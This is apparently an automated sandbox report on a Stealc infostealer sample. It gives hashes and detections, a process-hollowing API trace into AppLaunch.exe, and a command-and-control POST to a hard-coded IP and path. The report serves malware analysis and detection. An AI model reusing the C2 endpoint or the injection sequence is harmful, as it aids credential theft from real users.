Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 7, 2023, 6:58 p.m.	Sept. 7, 2023, 7:06 p.m.

Size	259.0KB
Type	PE32 executable (console) Intel 80386, for MS Windows
MD5	`79aeea7e2cae474eba241c822e5f99e8`
SHA256	`5fa9d9b71791483ca380f09e1fc946b0ba7d68cfb73147bf80aa472b72497ef3`
CRC32	`06B654D4`
ssdeep	`6144:BypnplhoSByJCTT8rxblMDcUWO7jD4wcGB:ByppboSByqAlliPD1B`
Yara	Malicious_Library_Zero - Malicious_Library OS_Processor_Check_Zero - OS Processor Check UPX_Zero - UPX packed file PE_Header_Zero - PE File Signature IsPE32 - (no description)

no230.exe "C:\Users\test22\AppData\Local\Temp\no230.exe"
1072
- AppLaunch.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2236

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
5.42.92.211	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49165 -> 5.42.92.211:80	2047625	ET MALWARE [ANY.RUN] Win32/Stealc Checkin (POST)	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 5.42.92.211:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.BSs

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

POST method with no referer header, Connection to IP address

suspicious_request

POST http://5.42.92.211/loghub/master

Performs some HTTP requests (1 event)

request

POST http://5.42.92.211/loghub/master

Sends data using the HTTP POST Method (1 event)

request

POST http://5.42.92.211/loghub/master

Allocates read-write-execute memory (usually to unpack itself) (3 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Sept. 7, 2023, 6:58 p.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75931000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 7, 2023, 6:58 p.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76e01000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 7, 2023, 6:58 p.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x752e1000 process_handle: 0xffffffff	1

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Terminates another process (2 events)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess Sept. 7, 2023, 6:58 p.m.	status_code: 0x00000005 process_identifier: 2200 process_handle: 0x0000002c		0	0
NtTerminateProcess Sept. 7, 2023, 6:58 p.m.	status_code: 0x00000005 process_identifier: 2200 process_handle: 0x0000002c	1	0	0

Communicates with host for which no DNS query was performed (1 event)

host

5.42.92.211

Allocates execute permission to another process indicative of possible code injection (2 events)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Sept. 7, 2023, 6:58 p.m.	process_identifier: 2200 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000002c		3221225496	0
NtAllocateVirtualMemory Sept. 7, 2023, 6:58 p.m.	process_identifier: 2236 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000068	1	0	0

Manipulates memory of a non-child process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1072 manipulating memory of non-child process 2200
NtAllocateVirtualMemory Sept. 7, 2023, 6:58 p.m.	process_identifier: 2200 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000002c		3221225496	0

Potential code injection by writing to the memory of another process (4 events)

Time & API	Arguments	Status	Return
WriteProcessMemory Sept. 7, 2023, 6:58 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $à ¤ÿmY¤ÿmY¤ÿmYwnX¨ÿmYwhX2ÿmYwiX°ÿmYY¦ÿmYhXÿmYiXµÿmYnX°ÿmYwlX§ÿmY¤ÿlYðÿmY°dX´ÿmY°Y¥ÿmY°oX¥ÿmYRich¤ÿmYPELJùdà$®AÀ@@Ì(Pà`ô@@À.textm® `.rdataøaÀb²@@.dataØ0 @À.rsrcàP@@.relocô` @B base_address: 0x00400000 process_identifier: 2236 process_handle: 0x00000068	1	1
WriteProcessMemory Sept. 7, 2023, 6:58 p.m.	buffer: ÿÿÿÿ±¿DNæ@»ÿÿÿÿ ÿÿÿÿ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ¤`y!¦ß¡¥àü@~ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þÚA@6B@6B@6B@6B@6BH6BÝAÞAÈÔA5B`0BC6B¸BB¸BB¸BB¸BB¸BB¸BB¸BB¸BB¸BB6B¼BB¼BB¼BB¼BB¼BB¼BB¼BB..þÿÿÿ þÿÿÿuÿÿÿÿ\|B.?AVbad_exception@std@@\|B.?AVexception@std@@\|B.?AVtype_info@@ base_address: 0x00423000 process_identifier: 2236 process_handle: 0x00000068	1	1
WriteProcessMemory Sept. 7, 2023, 6:58 p.m.	buffer: 0 H`P}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x00425000 process_identifier: 2236 process_handle: 0x00000068	1	1
WriteProcessMemory Sept. 7, 2023, 6:58 p.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2236 process_handle: 0x00000068	1	1

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 7, 2023, 6:58 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $à ¤ÿmY¤ÿmY¤ÿmYwnX¨ÿmYwhX2ÿmYwiX°ÿmYY¦ÿmYhXÿmYiXµÿmYnX°ÿmYwlX§ÿmY¤ÿlYðÿmY°dX´ÿmY°Y¥ÿmY°oX¥ÿmYRich¤ÿmYPELJùdà$®AÀ@@Ì(Pà`ô@@À.textm® `.rdataøaÀb²@@.dataØ0 @À.rsrcàP@@.relocô` @B base_address: 0x00400000 process_identifier: 2236 process_handle: 0x00000068	1	1	0

File has been identified by 14 AntiVirus engines on VirusTotal as malicious (14 events)

Bkav	W32.AIDetectMalware
Elastic	malicious (high confidence)
Symantec	ML.Attribute.HighConfidence
Cynet	Malicious (score: 100)
APEX	Malicious
FireEye	Generic.mg.79aeea7e2cae474e
Sophos	ML/PE-A
Microsoft	Trojan:Script/Phonzy.B!ml
AhnLab-V3	Trojan/Win.PWSX-gen.C5355338
Rising	Trojan.Generic@AI.100 (RDML:Jd11O/BRPU4FaytIufHEEA)
MaxSecure	Trojan.Malware.300983.susgen
BitDefenderTheta	Gen:NN.ZexaF.36662.qyW@a4l0Vkmi
DeepInstinct	MALICIOUS
CrowdStrike	win/malicious_confidence_70% (D)

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1072 called NtSetContextThread to modify thread in remote process 2236
NtSetContextThread Sept. 7, 2023, 6:58 p.m.	registers.eip: 2005598660 registers.esp: 3276004 registers.edi: 0 registers.eax: 4198977 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000006c process_identifier: 2236	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1072 resumed a thread in remote process 2236
NtResumeThread Sept. 7, 2023, 6:58 p.m.	thread_handle: 0x0000006c suspend_count: 1 process_identifier: 2236	1	0	0

Executed a process and injected code into it, probably while unpacking (16 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Sept. 7, 2023, 6:58 p.m.	thread_identifier: 2204 thread_handle: 0x00000020 process_identifier: 2200 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x0000002c	1	1
NtGetContextThread Sept. 7, 2023, 6:58 p.m.	thread_handle: 0x00000020	1	0
NtAllocateVirtualMemory Sept. 7, 2023, 6:58 p.m.	process_identifier: 2200 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000002c		3221225496
WriteProcessMemory Sept. 7, 2023, 6:58 p.m.	buffer: base_address: 0x00000000 process_identifier: 2200 process_handle: 0x0000002c		0
CreateProcessInternalW Sept. 7, 2023, 6:58 p.m.	thread_identifier: 2240 thread_handle: 0x0000006c process_identifier: 2236 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000068	1	1
NtGetContextThread Sept. 7, 2023, 6:58 p.m.	thread_handle: 0x0000006c	1	0
NtAllocateVirtualMemory Sept. 7, 2023, 6:58 p.m.	process_identifier: 2236 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000068	1	0
WriteProcessMemory Sept. 7, 2023, 6:58 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $à ¤ÿmY¤ÿmY¤ÿmYwnX¨ÿmYwhX2ÿmYwiX°ÿmYY¦ÿmYhXÿmYiXµÿmYnX°ÿmYwlX§ÿmY¤ÿlYðÿmY°dX´ÿmY°Y¥ÿmY°oX¥ÿmYRich¤ÿmYPELJùdà$®AÀ@@Ì(Pà`ô@@À.textm® `.rdataøaÀb²@@.dataØ0 @À.rsrcàP@@.relocô` @B base_address: 0x00400000 process_identifier: 2236 process_handle: 0x00000068	1	1
WriteProcessMemory Sept. 7, 2023, 6:58 p.m.	buffer: base_address: 0x00401000 process_identifier: 2236 process_handle: 0x00000068	1	1
WriteProcessMemory Sept. 7, 2023, 6:58 p.m.	buffer: base_address: 0x0041c000 process_identifier: 2236 process_handle: 0x00000068	1	1
WriteProcessMemory Sept. 7, 2023, 6:58 p.m.	buffer: ÿÿÿÿ±¿DNæ@»ÿÿÿÿ ÿÿÿÿ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ¤`y!¦ß¡¥àü@~ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þÚA@6B@6B@6B@6B@6BH6BÝAÞAÈÔA5B`0BC6B¸BB¸BB¸BB¸BB¸BB¸BB¸BB¸BB¸BB6B¼BB¼BB¼BB¼BB¼BB¼BB¼BB..þÿÿÿ þÿÿÿuÿÿÿÿ\|B.?AVbad_exception@std@@\|B.?AVexception@std@@\|B.?AVtype_info@@ base_address: 0x00423000 process_identifier: 2236 process_handle: 0x00000068	1	1
WriteProcessMemory Sept. 7, 2023, 6:58 p.m.	buffer: 0 H`P}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x00425000 process_identifier: 2236 process_handle: 0x00000068	1	1
WriteProcessMemory Sept. 7, 2023, 6:58 p.m.	buffer: base_address: 0x00426000 process_identifier: 2236 process_handle: 0x00000068	1	1
WriteProcessMemory Sept. 7, 2023, 6:58 p.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2236 process_handle: 0x00000068	1	1
NtSetContextThread Sept. 7, 2023, 6:58 p.m.	registers.eip: 2005598660 registers.esp: 3276004 registers.edi: 0 registers.eax: 4198977 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000006c process_identifier: 2236	1	0
NtResumeThread Sept. 7, 2023, 6:58 p.m.	thread_handle: 0x0000006c suspend_count: 1 process_identifier: 2236	1	0

no230.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All